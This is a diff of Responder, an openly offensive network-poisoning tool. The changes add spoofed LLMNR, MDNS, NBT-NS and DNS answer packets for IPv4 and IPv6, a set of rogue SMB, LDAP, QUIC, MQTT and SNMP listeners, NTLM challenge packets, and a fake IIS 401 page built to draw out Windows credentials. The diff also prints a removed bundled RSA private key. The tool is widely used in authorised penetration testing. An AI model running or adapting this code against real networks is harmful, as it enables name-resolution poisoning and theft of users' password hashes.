class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.251"
MADDR6 = 'ff02::fb'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if (sys.version_info > (3, 0)):
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else:
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@ -129,21 +157,28 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
UDPServer.server_bind(self)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.252"
MADDR = '224.0.0.252'
MADDR6 = 'FF02:0:0:0:0:0:1:3'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@ -151,51 +186,68 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
#pass
pass
UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1
if Have_IPv6:
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler):
try:
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast(host, port, handler)
serve_thread_udp_broadcast('', port, handler)
def serve_MDNS_poisoner(host, port, handler):
try:
server = ThreadingUDPMDNSServer((host, port), handler)
server = ThreadingUDPMDNSServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler):
try:
server = ThreadingUDPLLMNRServer((host, port), handler)
server = ThreadingUDPLLMNRServer(('', port), handler)
server.serve_forever()
except:
raise
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_udp(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
else:
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
@ -203,10 +255,10 @@ def serve_thread_udp(host, port, handler):
def serve_thread_tcp(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@ -214,10 +266,10 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_tcp_auth(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServerAuth((host, port), handler)
server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
else:
server = ThreadingTCPServerAuth((host, port), handler)
server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@ -227,33 +279,46 @@ def serve_thread_SSL(host, port, handler):
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server = ThreadingTCPServer(('', port), handler)
server.socket = context.wrap_socket(server.socket, server_side=True)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server = ThreadingTCPServer(('', port), handler)
server.socket = context.wrap_socket(server.socket, server_side=True)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
def main():
try:
if (sys.version_info < (3, 0)):
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
from poisoners.LLMNR import LLMNR
from poisoners.NBTNS import NBTNS
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.LLMNR_On_Off:
from poisoners.LLMNR import LLMNR
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
if settings.Config.NBTNS_On_Off:
from poisoners.NBTNS import NBTNS
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.MDNS_On_Off:
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
#// Vintage Responder BOWSER module, now disabled by default.
#// Generate to much noise & easily detectable on the network when in analyze mode.
# Load Browser Listener
from servers.Browser import Browser
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
#from servers.Browser import Browser
#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP
@ -282,7 +347,7 @@ def main():
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,)))
if settings.Config.ProxyAuth_On_Off:
from servers.Proxy_Auth import Proxy_Auth
@ -298,6 +363,12 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
if settings.Config.QUIC_On_Off:
from servers.QUIC import start_quic_server
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
if settings.Config.Krb_On_Off:
from servers.Kerberos import KerbTCP, KerbUDP
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
@ -319,8 +390,13 @@ def main():
if settings.Config.LDAP_On_Off:
from servers.LDAP import LDAP, CLDAP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,)))
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
if settings.Config.MQTT_On_Off:
from servers.MQTT import MQTT
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))
if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,)))
@ -335,19 +411,23 @@ def main():
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
if settings.Config.SNMP_On_Off:
from servers.SNMP import SNMP
threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))
for thread in threads:
thread.setDaemon(True)
thread.daemon = True
thread.start()
print(color('\n[+]', 2, 1) + " Listening for events...\n")
if settings.Config.AnalyzeMode:
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
if settings.Config.Quiet_Mode:
print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP
DHCP()
DHCP(settings.Config.DHCP_DNS)
while True:
time.sleep(1)

4
certs/gen-self-signed-cert.sh Normal file → Executable file
View file

@ -1,3 +1,3 @@
#!/bin/bash
openssl genrsa -out responder.key 2048
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
openssl genrsa -out certs/responder.key 2048
openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/"

View file

@ -1,18 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
iKqwycWcwlFFUDbwBuOyfbfwjtUf
-----END CERTIFICATE-----

View file

@ -1,27 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA1b26L/yoivl27/24RkAZYG/XlaiBQ7Uz3dGZSzToUbh0VG8N
1wt6t4D3q30hPQDXhVCnx6UlFAOQFOIYzEgTF9YlFUfjioM0ynMxOJACXtWSaYgf
E1OhQWqUMDj7/TOOtwTkEPJX5l/hFnq0/l54jBQJsX/BUu3uP1eyWW6J+7lNfH3O
h/CsVWjQhDN/NkqS9/c1O6kTVRuuSX+DHoyWRJN9BjAuJtthW7aOn/1ktTQZOBzH
Swpcl2Z4D2NInQrgmV9ygUL2KUt3tYBAbFD1dH2Qc/xp76BOKKk4mvN0CQJI2dK+
+/zQKbYobF66gdlQ7kemj+QX/2Ba/1OB/ctNZQIDAQABAoIBAQCzi6i3XroF5ACx
IKSG/plSlSC3qtDLG4/yKXtn3Y25+ARgWNl7Zz0yoLdr6rTdFbP1XQdTgbpf0Y5a
vIKwN2syfsSv16+gTw8tcQ5LwUz8dNOEqr/P8FRpKypIR9YFoCWmQAmE4s5Lywa9
Z15avujsYniyDetLympz8yryTRTDyh+APgZH5uWzzUnJZx588YdhHAPNU8QgpqGY
HFpzoVyNcA16ptk/dW8+kqepBOn6Fx4NSqV+j81UnOTRhRCuEW2C4893pb9fqYYf
DrRWxkmgU+Ntq8UJso25QK97K7+pstJTGwRv4dRBtsYAfx+9JyaUmsiuC7xy2sDj
NuoQIw0BAoGBAPW6bMKOYPTmcNPxenjUHdRw7iYRQqL6EjehUFV0fqPayuEdKYre
hQYtr7KYOQOcNpRW8A6/Ki0Qr3OQOMlQQKzpblo2G9uXdVjfkQ4fq7E6RCGWOvGr
779EqwPnzXYuRHIb45oihdzlB5vhKrkYaLRcgqHeJPzghgGrxvkAgav1AoGBAN6t
AO1LI1xQsQ4enRZcchq35ueAvwIW3x48T3UEKBk4OpR1GwGFY/8WlMpONHPaBa8e
oLhHxd3GUZAx0ONRw9erLINJZg2BaGyoajR8xY4nE8lellKJG+enToBP1+ln2kwy
G3PjdhNM9q71UHac6bPlTGy5PZjUdEnltp9QhSWxAoGBAM70f/0sJQSdwJEAZAG3
xJfTtP9ishjJPOaVei8+uhoOf6gxA3fuCWM2vy9PfVVJD77Hqc8BuefSkbJm2SzT
5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I
bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p
XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg
2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF
eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
-----END RSA PRIVATE KEY-----

View file

@ -1,66 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import sys
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
try:
if (sys.version_info > (3, 0)):
length = struct.unpack('<H',data[43:45])[0]
packet = NetworkRecvBufferPython2or3(data[47+length:])
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
else:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
n = SMBNego(data = str(SMBNegoFingerData()))
n.calculate()
Packet = str(h)+str(n)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x73\x16':
return OsNameClientVersion(data)
except:
print(color("[!] ", 1, 1) +" Fingerprint failed")
return None

View file

@ -1,9 +1,12 @@
import sys
try:
from UserDict import DictMixin
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
from collections import UserDict
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

335
packets.py Executable file → Normal file
View file

@ -23,7 +23,7 @@ import re
from os import urandom
from base64 import b64decode, b64encode
from odict import OrderedDict
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py).
class Packet():
@ -52,7 +52,7 @@ class NBT_Ans(Packet):
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior)
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
@ -89,7 +89,100 @@ class DNS_Ans(Packet):
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# DNS Answer Packet OPT
class DNS_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
@ -122,7 +215,7 @@ class DNS_SRV_Ans(Packet):
def calculate(self,data):
self.fields["Tid"] = data[0:2]
DNSName = ''.join(data[12:].split('\x00')[:1])
SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
SplitFQDN = re.split(r'\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
#What's the question? we need it first to calc all other len.
self.fields["QuestionName"] = DNSName
@ -170,7 +263,7 @@ class LLMNR_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@ -181,6 +274,35 @@ class LLMNR_Ans(Packet):
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
class LLMNR6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior).
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet
class MDNS_Ans(Packet):
fields = OrderedDict([
@ -194,12 +316,35 @@ class MDNS_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# MDNS6 Answer Packet
class MDNS6_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ######################
@ -214,13 +359,13 @@ class NTLM_Challenge(Packet):
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("NegoFlags", "\x05\x02\x81\xa2" if settings.Config.NOESS_On_Off else "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
@ -281,25 +426,59 @@ class NTLM_Challenge(Packet):
class IIS_Auth_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("WWW-Auth", "WWW-Authenticate: Negotiate\r\n"),
("WWW-Auth2", "WWW-Authenticate: NTLM\r\n"),
("Len", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
<h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
</fieldset></div>
</div>
</body>
</html>
"""),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
